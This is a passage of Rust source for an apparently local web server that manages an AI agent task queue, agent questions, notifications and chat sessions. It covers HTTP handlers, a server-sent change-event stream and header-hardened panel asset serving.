5721 daily: daily.iter().map(DailyStatsView::from).collect(),
5722 repo: q.repo.clone(),
5723 retired_hidden: collected.retired_hidden.clone(),
5724 }))
5725 })
5726 .await
5727}
5728
5729#[derive(Debug, Default, Deserialize)]
5732#[serde(default, deny_unknown_fields)]
5733struct HoldBody {
5734 reason: Option<String>,
5735}
5736
5737async fn queue_hold(
5738 State(ui): State<Arc<Ui>>,
5739 Path(id): Path<String>,
5740 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5741) -> ApiResult<Json<TaskView>> {
5742 let body = match body {
5746 Ok(Json(body)) => body,
5747 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5748 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5749 };
5750 let reason = body.reason.filter(|r| !r.trim().is_empty());
5751 mutate(ui, id, move |t| {
5752 t.hold_manual(reason.clone());
5753 Ok(())
5754 })
5755 .await
5756}
5757
5758async fn queue_release(
5759 State(ui): State<Arc<Ui>>,
5760 Path(id): Path<String>,
5761) -> ApiResult<Json<TaskView>> {
5762 mutate(ui, id, |t| {
5763 t.release();
5764 Ok(())
5765 })
5766 .await
5767}
5768
5769#[derive(Debug, Deserialize)]
5770#[serde(deny_unknown_fields)]
5771struct ImplementersBody {
5772 implementers: u8,
5773}
5774
5775async fn queue_implementers(
5776 State(ui): State<Arc<Ui>>,
5777 Path(id): Path<String>,
5778 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
5779) -> ApiResult<Json<TaskView>> {
5780 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5781 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
5782}
5783
5784#[derive(Debug, Deserialize)]
5786#[serde(deny_unknown_fields)]
5787struct PriorityBody {
5788 priority: i32,
5789}
5790
5791async fn queue_priority(
5797 State(ui): State<Arc<Ui>>,
5798 Path(id): Path<String>,
5799 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5800) -> ApiResult<Json<TaskView>> {
5801 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5802 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5803}
5804
5805#[derive(Debug, Deserialize)]
5807#[serde(deny_unknown_fields)]
5808struct EditBody {
5809 title: String,
5810 instruction: String,
5811 #[serde(default)]
5814 force: bool,
5815}
5816
5817async fn queue_edit(
5821 State(ui): State<Arc<Ui>>,
5822 Path(id): Path<String>,
5823 body: std::result::Result<Json<EditBody>, JsonRejection>,
5824) -> ApiResult<Json<TaskView>> {
5825 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5826 let mut judged: Option<(String, PathBuf)> = None;
5830 if !body.force {
5831 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5832 let (id, text) = (id.clone(), body.instruction.clone());
5833 let (seen, hits) = blocking(move || {
5834 let id = resolve_task(&queue, &id)?;
5835 let t = queue.get(&id)?;
5836 if text == t.instruction {
5837 return Ok((None, Vec::new()));
5838 }
5839 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5840 Ok((Some((t.instruction, t.repo)), hits))
5841 })
5842 .await?;
5843 if let Some((_, repo)) = &seen {
5844 let cfg = crate::config::Config::discover(repo, None)
5845 .ok()
5846 .map(|(c, _)| c);
5847 let screened =
5848 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5849 .await
5850 .map_err(|dup| {
5851 ApiError::conflict(dup.render(
5852 "Nothing was saved. If it is not a duplicate, repeat the request \
5853 with \"force\": true.",
5854 ))
5855 })?;
5856 if let crate::dupes::Screened::Unjudged(why) = screened {
5857 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5858 }
5859 }
5860 judged = seen;
5861 }
5862 let force = body.force;
5863 mutate(ui, id, move |t| {
5864 if !force && body.instruction != t.instruction {
5865 match &judged {
5866 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5867 _ => {
5868 anyhow::bail!("the task changed while it was being checked; repeat the request")
5869 }
5870 }
5871 }
5872 t.edit(body.title.clone(), body.instruction.clone())
5873 })
5874 .await
5875}
5876
5877async fn queue_done(
5885 State(ui): State<Arc<Ui>>,
5886 Path(id): Path<String>,
5887) -> ApiResult<Json<TaskView>> {
5888 let home = ui.home.clone();
5889 mutate(ui, id, move |t| {
5890 t.succeed();
5891 crate::daemon::supersede_prior_runs(t, &home);
5899 Ok(())
5900 })
5901 .await
5902}
5903
5904async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5912 blocking(move || {
5913 let id = resolve_task(&ui.queue, &id)?;
5914 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5915 ui.queue
5916 .remove(&id, in_flight, &ui.questions)
5917 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5918 Ok(StatusCode::NO_CONTENT)
5919 })
5920 .await
5921}
5922
5923async fn mutate(
5932 ui: Arc<Ui>,
5933 id: String,
5934 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5935) -> ApiResult<Json<TaskView>> {
5936 blocking(move || {
5937 let id = resolve_task(&ui.queue, &id)?;
5938 let _claim = ui.queue.claim(&id).map_err(|e| {
5943 ApiError::conflict(format!(
5944 "{e:#} - a daemon is running this task, so it cannot be \
5945 changed from here yet"
5946 ))
5947 })?;
5948 let mut task = ui.queue.get(&id)?;
5949 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5950 Ok(dup) => ApiError::conflict(dup.render(
5951 "Nothing was saved. If it is not a duplicate, repeat the request with \
5952 \"force\": true.",
5953 )),
5954 Err(e) => ApiError::bad_request_from(e),
5955 })?;
5956 ui.queue.put(&mut task)?;
5957 Ok(Json(TaskView::from(task)))
5958 })
5959 .await
5960}
5961
5962async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5970 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5971 tokio::spawn(async move {
5972 let mut ticker = tokio::time::interval(POLL);
5973 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5974 let mut stamps: Option<[Stamps; 3]> = None;
5975 loop {
5976 ticker.tick().await;
5979 let state = Arc::clone(&ui);
5980 let revisions = tokio::task::spawn_blocking(move || {
5981 let stamps = [
5982 store_stamps(state.queue.root(), false),
5983 store_stamps(&state.runs, true),
5984 store_stamps(state.talks.root(), false),
5985 ];
5986 let revisions = (
5987 stamps_revision(&stamps[0]),
5988 stamps_revision(&stamps[1]),
5989 state.questions.revision(),
5990 stamps_revision(&stamps[2]),
5991 state.notices.revision(),
5992 state.lock_loop().rev,
5996 );
5997 (revisions, stamps)
5998 })
5999 .await;
6000 let Ok((revisions, next_stamps)) = revisions else {
6001 break;
6002 };
6003 if last == Some(revisions) {
6004 continue;
6005 }
6006 let mut payload = serde_json::json!({
6007 "queue_rev": revisions.0,
6008 "runs_rev": revisions.1,
6009 "questions_rev": revisions.2,
6010 "talks_rev": revisions.3,
6011 "notifications_rev": revisions.4,
6012 "loop_rev": revisions.5,
6013 });
6014 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
6015 for (index, (key, rev)) in [
6016 ("queue_delta", base.0),
6017 ("runs_delta", base.1),
6018 ("talks_delta", base.3),
6019 ]
6020 .into_iter()
6021 .enumerate()
6022 {
6023 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
6024 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
6026 payload[key] = serde_json::to_value(delta).expect("serializable delta");
6027 }
6028 }
6029 }
6030 last = Some(revisions);
6031 stamps = Some(next_stamps);
6032 let Ok(event) = Event::default().event("change").json_data(payload) else {
6034 break;
6035 };
6036 if tx.send(event).await.is_err() {
6037 break;
6038 }
6039 }
6040 });
6041 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6042 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6043}
6044
6045type Stamps = HashMap<String, (u128, u64)>;
6046
6047fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
6049 std::fs::read_dir(root)
6050 .into_iter()
6051 .flatten()
6052 .flatten()
6053 .filter_map(|entry| {
6054 let path = if runs {
6055 entry.path().join("run.json")
6056 } else {
6057 entry.path()
6058 };
6059 if !runs && path.extension().is_none_or(|ext| ext != "json") {
6060 return None;
6061 }
6062 let metadata = path.metadata().ok()?;
6063 let modified = metadata
6064 .modified()
6065 .ok()?
6066 .duration_since(std::time::UNIX_EPOCH)
6067 .ok()?;
6068 let id = if runs {
6069 entry.file_name().to_string_lossy().into_owned()
6070 } else {
6071 path.file_stem()?.to_string_lossy().into_owned()
6072 };
6073 Some((id, (modified.as_nanos(), metadata.len())))
6074 })
6075 .collect()
6076}
6077
6078#[derive(Debug, Serialize)]
6079struct Delta {
6080 base: u64,
6081 changed: Vec<String>,
6082 removed: Vec<String>,
6083}
6084
6085fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
6086 let mut changed: Vec<_> = next
6087 .iter()
6088 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
6089 .map(|(id, _)| id.clone())
6090 .collect();
6091 let mut removed: Vec<_> = previous
6092 .keys()
6093 .filter(|id| !next.contains_key(*id))
6094 .cloned()
6095 .collect();
6096 changed.sort_unstable();
6097 removed.sort_unstable();
6098 Delta {
6099 base,
6100 changed,
6101 removed,
6102 }
6103}
6104
6105fn runs_revision(runs: &FsPath) -> u64 {
6112 stamps_revision(&store_stamps(runs, true))
6113}
6114
6115fn stamps_revision(stamps: &Stamps) -> u64 {
6119 use std::hash::{Hash as _, Hasher as _};
6120 if stamps.is_empty() {
6121 return 0;
6122 }
6123 let mut entries: Vec<_> = stamps.iter().collect();
6124 entries.sort_unstable();
6125 let mut hasher = std::hash::DefaultHasher::new();
6126 entries.hash(&mut hasher);
6127 hasher.finish().max(1)
6128}
6129
6130fn run_ids(runs: &FsPath) -> Vec<String> {
6136 let mut ids: Vec<String> = std::fs::read_dir(runs)
6137 .into_iter()
6138 .flatten()
6139 .flatten()
6140 .filter(|e| e.path().join("run.json").is_file())
6141 .map(|e| e.file_name().to_string_lossy().into_owned())
6142 .collect();
6143 ids.sort_unstable_by(|a, b| b.cmp(a));
6145 ids
6146}
6147
6148fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6150 let path = runs.join(id).join("run.json");
6151 let body =
6152 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6153 let state: RunState =
6154 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6155 run::migrate_schema(state)
6160}
6161
6162#[must_use]
6170pub fn runs_unreadable(runs: &FsPath) -> usize {
6171 run_ids(runs)
6172 .into_iter()
6173 .filter(|id| read_run(runs, id).is_err())
6174 .count()
6175}
6176
6177fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6179 if runs.join(id).join("run.json").is_file() {
6180 return Ok(id.to_owned());
6181 }
6182 pick(run_ids(runs), id, "run")
6183}
6184
6185fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6187 if queue.path_of(id).is_file() {
6188 return Ok(id.to_owned());
6189 }
6190 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
6191}
6192
6193#[derive(Debug, Serialize)]
6204struct QuestionView {
6205 #[serde(flatten)]
6206 question: Question,
6207 detail_md: Vec<md::Node>,
6208 thread_bodies_md: Vec<Vec<md::Node>>,
6210 thread_notes_md: Vec<Option<Vec<md::Node>>>,
6213 waiting_on_agent: bool,
6223 holder: Option<&'static str>,
6227 deputies_enabled: bool,
6231 run_is_task: bool,
6234 origin_chat: Option<String>,
6239 origin_chat_closed: bool,
6241}
6242
6243impl QuestionView {
6244 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
6248 let base = md::ImageBase::QuestionPanel {
6249 id: question.id.clone(),
6250 };
6251 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6252 Self {
6253 detail_md: md::to_nodes(&question.detail, &base),
6254 thread_bodies_md: question
6255 .thread
6256 .iter()
6257 .map(|t| md::to_nodes(&t.body, &base))
6258 .collect(),
6259 thread_notes_md: question
6260 .thread
6261 .iter()
6262 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6263 .collect(),
6264 waiting_on_agent: question.waiting_on_agent(),
6265 holder,
6266 deputies_enabled,
6267 run_is_task: question.run_names_task(),
6268 origin_chat: None,
6269 origin_chat_closed: false,
6270 question,
6271 }
6272 }
6273
6274 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
6276 let talk = crate::consult::origin_talk(tasks, talks, &self.question);
6277 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6278 self.origin_chat = talk.map(|t| t.id);
6279 self
6280 }
6281}
6282
6283fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6287 Config::discover(repo, None).ok().map(|(c, _)| c)
6288}
6289
6290fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6292 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6293}
6294
6295fn question_views(
6298 qs: Vec<Question>,
6299 store: &ask::Questions,
6300 load: impl FnOnce() -> Option<Config>,
6301) -> Vec<QuestionView> {
6302 if qs.is_empty() {
6303 return Vec::new();
6304 }
6305 let cfg = load();
6306 qs.into_iter()
6307 .map(|q| {
6308 let on = deputies_enabled(cfg.as_ref(), &q);
6309 QuestionView::of(q, store, on)
6310 })
6311 .collect()
6312}
6313
6314fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6324 if !q.status.open() {
6325 return None;
6326 }
6327 if q.cwd.is_none() && q.deputy.is_none() {
6328 return crate::deputy::kind_of(q).map(|_| "nobody");
6329 }
6330 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6331 Some(_) if q.deputy.is_some() => "deputy",
6332 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6333 Some(_) => "asker",
6334 None => "nobody",
6335 })
6336}
6337
6338async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6344 blocking(move || {
6345 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6346 Ok(Json(
6347 question_views(ui.questions.list(), &ui.questions, || {
6348 deputy_config(&ui.repo)
6349 })
6350 .into_iter()
6351 .map(|v| v.with_origin(&tasks, &talks))
6352 .collect(),
6353 ))
6354 })
6355 .await
6356}
6357
6358async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6361 blocking(move || {
6362 let items = ui.notices.list();
6363 let unread = items.iter().filter(|n| n.unread()).count();
6364 Ok(Json(
6365 serde_json::json!({ "unread": unread, "items": items }),
6366 ))
6367 })
6368 .await
6369}
6370
6371fn notice_error(e: anyhow::Error) -> ApiError {
6372 ApiError::not_found(format!("{e:#}"))
6375}
6376
6377async fn notification_read(
6379 State(ui): State<Arc<Ui>>,
6380 Path(id): Path<String>,
6381) -> ApiResult<Json<Notice>> {
6382 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6383}
6384
6385async fn notification_dismiss(
6387 State(ui): State<Arc<Ui>>,
6388 Path(id): Path<String>,
6389) -> ApiResult<Json<Notice>> {
6390 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6391}
6392
6393async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6395 blocking(move || {
6396 let changed = ui.notices.mark_all_read()?;
6397 Ok(Json(serde_json::json!({ "marked": changed })))
6398 })
6399 .await
6400}
6401
6402#[derive(Debug, Default, Deserialize)]
6408#[serde(default, deny_unknown_fields)]
6409struct NewAnswer {
6410 choice: Option<String>,
6411 text: Option<String>,
6412}
6413
6414async fn question_answer(
6415 State(ui): State<Arc<Ui>>,
6416 Path(id): Path<String>,
6417 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6418) -> ApiResult<Json<QuestionView>> {
6419 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6420 let answer = match (body.choice, body.text) {
6421 (Some(c), None) => Answer::Choice(c),
6422 (None, Some(t)) => Answer::Text(t),
6423 (Some(_), Some(_)) => {
6424 return Err(ApiError::bad_request(
6425 "send either `choice` or `text`, not both",
6426 ));
6427 }
6428 (None, None) => {
6429 return Err(ApiError::bad_request("send a `choice` or a `text`"));
6430 }
6431 };
6432
6433 blocking(move || {
6434 let id = resolve_question(&ui.questions, &id)?;
6435 let q = ui
6436 .questions
6437 .get(&id)
6438 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6439 if !q.status.open() {
6440 return Err(ApiError::conflict(format!(
6444 "question {} is already {}",
6445 q.short(),
6446 q.status.as_str()
6447 )));
6448 }
6449 let (q, ()) = ui
6453 .questions
6454 .update(&q.id, |r| r.answer(answer))
6455 .map_err(ApiError::bad_request_from)?;
6456 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6457 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6458 Ok(Json(
6459 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6460 ))
6461 })
6462 .await
6463}
6464
6465#[derive(Debug, Deserialize)]
6467#[serde(deny_unknown_fields)]
6468struct NewSay {
6469 body: String,
6470}
6471
6472async fn question_say(
6482 State(ui): State<Arc<Ui>>,
6483 Path(id): Path<String>,
6484 body: std::result::Result<Json<NewSay>, JsonRejection>,
6485) -> ApiResult<Json<QuestionView>> {
6486 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6487 blocking(move || {
6488 let id = resolve_question(&ui.questions, &id)?;
6489 let q = ui
6490 .questions
6491 .get(&id)
6492 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6493 if !q.status.open() {
6494 return Err(ApiError::conflict(format!(
6498 "question {} is already {}",
6499 q.short(),
6500 q.status.as_str()
6501 )));
6502 }
6503 let (q, ()) = ui
6506 .questions
6507 .update(&q.id, |r| r.say(body.body))
6508 .map_err(ApiError::bad_request_from)?;
6509 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6510 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6511 Ok(Json(
6512 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6513 ))
6514 })
6515 .await
6516}
6517
6518async fn question_consult(
6527 State(ui): State<Arc<Ui>>,
6528 Path(id): Path<String>,
6529) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6530 let (view, reclaimed) = blocking({
6531 let ui = Arc::clone(&ui);
6532 move || {
6533 let id = resolve_question(&ui.questions, &id)?;
6534 let q = ui
6535 .questions
6536 .get(&id)
6537 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6538 if !q.status.open() {
6539 return Err(ApiError::conflict(format!(
6540 "question {} is already {}",
6541 q.short(),
6542 q.status.as_str()
6543 )));
6544 }
6545 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6546 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6547 return Err(ApiError::conflict(format!(
6548 "question {} has no chat to ask",
6549 q.short()
6550 )));
6551 };
6552 let cfg = if q.consult.is_none() {
6556 Some(Config::discover(&talk.repo, None)?.0)
6557 } else {
6558 None
6559 };
6560 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6561 let claim = if fresh {
6562 match ui.begin_queued_talk_turn(&talk.id)? {
6563 Some(turn_guard) => {
6564 let talk = ui.talks.get(&talk.id)?;
6565 let cfg = match cfg {
6566 Some(cfg) => cfg,
6567 None => Config::discover(&talk.repo, None)?.0,
6568 };
6569 Some((talk, cfg, turn_guard))
6570 }
6571 None => None,
6572 }
6573 } else {
6574 None
6575 };
6576 let q = ui.questions.get(&q.id)?;
6577 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6578 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6579 Ok((view, claim))
6580 }
6581 })
6582 .await?;
6583 if let Some((talk, cfg, turn_guard)) = reclaimed {
6584 let talks = ui.talks.clone();
6585 let id = talk.id.clone();
6586 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6587 }
6588 Ok((StatusCode::ACCEPTED, Json(view)))
6589}
6590
6591fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6593 if store.path_of(id).is_file() {
6594 return Ok(id.to_owned());
6595 }
6596 pick(
6597 store.list().into_iter().map(|q| q.id).collect(),
6598 id,
6599 "question",
6600 )
6601}
6602
6603async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6618 blocking(move || {
6619 let id = resolve_question(&ui.questions, &id)?;
6620 let Some(html) = ui.questions.panel_html(&id) else {
6621 return Err(ApiError::not_found(format!("question {id} has no panel")));
6622 };
6623 Ok(panel_response(
6624 "text/html; charset=utf-8",
6625 false,
6626 html.into_bytes(),
6627 ))
6628 })
6629 .await
6630}
6631
6632async fn question_asset(
6660 State(ui): State<Arc<Ui>>,
6661 Path((id, name)): Path<(String, String)>,
6662) -> ApiResult<Response> {
6663 if !crate::ask::valid_asset_name(&name) {
6666 return Err(ApiError::bad_request(format!(
6667 "`{name}` is not a usable asset name"
6668 )));
6669 }
6670 blocking(move || {
6671 let id = resolve_question(&ui.questions, &id)?;
6672 let asset = ui
6673 .questions
6674 .panel_asset(&id, &name)
6675 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6676 let Some(bytes) = asset else {
6677 return Err(ApiError::not_found(format!(
6678 "question {id} has no asset `{name}`"
6679 )));
6680 };
6681 Ok(panel_response(
6682 asset_content_type(&name),
6683 is_svg(&name),
6684 bytes,
6685 ))
6686 })
6687 .await
6688}
6689
6690fn asset_content_type(name: &str) -> &'static str {
6703 match extension(name).as_deref() {
6704 Some("png") => "image/png",
6705 Some("jpg" | "jpeg") => "image/jpeg",
6706 Some("gif") => "image/gif",
6707 Some("webp") => "image/webp",
6708 Some("svg") => "image/svg+xml",
6709 Some("css") => "text/css; charset=utf-8",
6710 Some("txt") => "text/plain; charset=utf-8",
6711 _ => "application/octet-stream",
6712 }
6713}
6714
6715fn is_svg(name: &str) -> bool {
6718 extension(name).as_deref() == Some("svg")
6719}
6720
6721fn extension(name: &str) -> Option<String> {
6723 name.rsplit_once('.')
6724 .map(|(_, ext)| ext.to_ascii_lowercase())
6725}
6726
6727fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6744 let mut res = (
6745 [
6746 (header::CONTENT_TYPE, content_type),
6747 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6748 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6749 (header::REFERRER_POLICY, "no-referrer"),
6750 ],
6751 body,
6752 )
6753 .into_response();
6754 if download {
6755 res.headers_mut().insert(
6756 header::CONTENT_DISPOSITION,
6757 HeaderValue::from_static("attachment"),
6758 );
6759 }
6760 res
6761}
6762
6763#[derive(Debug, Serialize)]
6769struct TalkView {
6770 #[serde(flatten)]
6771 talk: Talk,
6772 turn_bodies_md: Vec<Vec<md::Node>>,
6773 thinking: bool,
6781 context: talk::ContextUsage,
6785 operator_name: Option<String>,
6788 persona_name: Option<String>,
6790 persona_avatar: String,
6793 operator_avatar: String,
6795}
6796
6797impl TalkView {
6798 fn new(talk: Talk, thinking: bool) -> Self {
6801 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6802 Self::with_config(talk, thinking, cfg.as_ref())
6803 }
6804
6805 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6808 let context = talk::context_usage(&talk, cfg);
6809 let turn_bodies_md = talk
6810 .turns
6811 .iter()
6812 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6813 .collect();
6814 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6815 let persona_name = persona::find(specs, &talk.persona)
6816 .filter(|p| !p.is_default())
6817 .map(|p| p.name);
6818 let persona_avatar = avatar_url(
6819 &talk.id,
6820 &persona::find(specs, &talk.persona)
6821 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
6822 );
6823 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6824 Self {
6825 turn_bodies_md,
6826 thinking,
6827 context,
6828 operator_name,
6829 persona_name,
6830 persona_avatar,
6831 operator_avatar: format!(
6832 "/avatars/operator.svg?v={}",
6833 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
6834 ),
6835 talk,
6836 }
6837 }
6838}
6839
6840#[derive(Debug, Serialize)]
6845struct TalkDetailView {
6846 #[serde(flatten)]
6847 view: TalkView,
6848 tasks: Vec<TaskView>,
6849 roster: Vec<RosterEntry>,
6852 personas: Vec<PersonaEntry>,
6855}
6856
6857#[derive(Debug, Serialize)]
6859struct PersonaEntry {
6860 id: String,
6861 name: String,
6862 avatar: String,
6864}
6865
6866#[derive(Debug, Serialize)]
6868struct RosterEntry {
6869 id: String,
6870 kind: AgentKind,
6871 runnable: bool,
6873}
6874
6875async fn talks_list(
6880 State(ui): State<Arc<Ui>>,
6881 Query(q): Query<ListQuery>,
6882) -> ApiResult<Json<Vec<TalkView>>> {
6883 blocking(move || {
6884 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6885 Ok(Json(
6886 ui.talks
6887 .list()
6888 .into_iter()
6889 .filter(|talk| q.contains(&talk.id))
6890 .map(|talk| {
6891 let thinking = ui.is_thinking(&talk.id);
6892 let cfg = configs
6893 .entry(talk.repo.clone())
6894 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6895 TalkView::with_config(talk, thinking, cfg.as_ref())
6896 })
6897 .collect(),
6898 ))
6899 })
6900 .await
6901}
6902
6903#[derive(Debug, Default, Deserialize)]
6908#[serde(default)]
6909struct NewTalk {
6910 agent: Option<String>,
6911 repo: Option<PathBuf>,
6912 preferred_agent: Option<serde_json::Value>,
6916 persona: Option<serde_json::Value>,
6917 implementers: Option<serde_json::Value>,
6918}
6919
6920async fn talk_post(
6923 State(ui): State<Arc<Ui>>,
6924 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6925) -> ApiResult<impl IntoResponse> {
6926 let body = match body {
6930 Ok(Json(body)) => body,
6931 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6932 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6933 };
6934 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6935 let cfg = config_for(&repo).await?;
6936 let view = blocking(move || {
6937 let preferred = talk::Preferred {
6938 agent: body
6939 .preferred_agent
6940 .as_ref()
6941 .and_then(|v| v.as_str())
6942 .map(str::to_owned),
6943 persona: body
6944 .persona
6945 .as_ref()
6946 .and_then(|v| v.as_str())
6947 .map(str::to_owned),
6948 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
6949 };
6950 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
6951 let thinking = ui.is_thinking(&talk.id);
6952 Ok(TalkView::new(talk, thinking))
6953 })
6954 .await?;
6955 Ok((StatusCode::CREATED, Json(view)))
6956}
6957
6958async fn talk_detail(
6960 State(ui): State<Arc<Ui>>,
6961 Path(id): Path<String>,
6962) -> ApiResult<Json<TalkDetailView>> {
6963 blocking(move || {
6964 let id = resolve_talk(&ui.talks, &id)?;
6965 let talk = ui.talks.get(&id)?;
6966 let thinking = ui.is_thinking(&talk.id);
6967 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6968 .into_iter()
6969 .map(TaskView::from)
6970 .collect();
6971 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6972 let roster = cfg
6973 .as_ref()
6974 .map(|cfg| {
6975 cfg.agents
6976 .iter()
6977 .map(|a| RosterEntry {
6978 id: a.id.clone(),
6979 kind: a.kind,
6980 runnable: agent::installed(a),
6981 })
6982 .collect()
6983 })
6984 .unwrap_or_default();
6985 let specs = cfg
6986 .as_ref()
6987 .map(|cfg| cfg.talk.personas.clone())
6988 .unwrap_or_default();
6989 let personas = persona::catalog(&specs)
6990 .into_iter()
6991 .map(|p| PersonaEntry {
6992 avatar: avatar_url(&talk.id, &p),
6993 id: p.id,
6994 name: p.name,
6995 })
6996 .collect();
6997 Ok(Json(TalkDetailView {
6998 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6999 tasks,
7000 roster,
7001 personas,
7002 }))
7003 })
7004 .await
7005}
7006
7007#[derive(Debug, Default, Deserialize)]
7013#[serde(default, deny_unknown_fields)]
7014struct NewTalkTurn {
7015 reply_to: Option<talk::ReplyTarget>,
7016 text: String,
7017 attachments: Vec<String>,
7018}
7019
7020#[derive(Debug, Deserialize)]
7021#[serde(deny_unknown_fields)]
7022struct EditTalkPending {
7023 #[serde(default)]
7024 message: Option<usize>,
7025 text: String,
7026 expected_text: String,
7027 expected_attachments: Vec<String>,
7028}
7029
7030#[derive(Debug, Deserialize)]
7031#[serde(deny_unknown_fields)]
7032struct ClearTalkPending {
7033 expected_text: String,
7034 expected_attachments: Vec<String>,
7035}
7036
7037async fn talk_say(
7049 State(ui): State<Arc<Ui>>,
7050 Path(id): Path<String>,
7051 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7052) -> ApiResult<(StatusCode, Json<TalkView>)> {
7053 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7054 if body.text.trim().is_empty() && body.attachments.is_empty() {
7055 return Err(ApiError::bad_request("say something"));
7056 }
7057
7058 let id = {
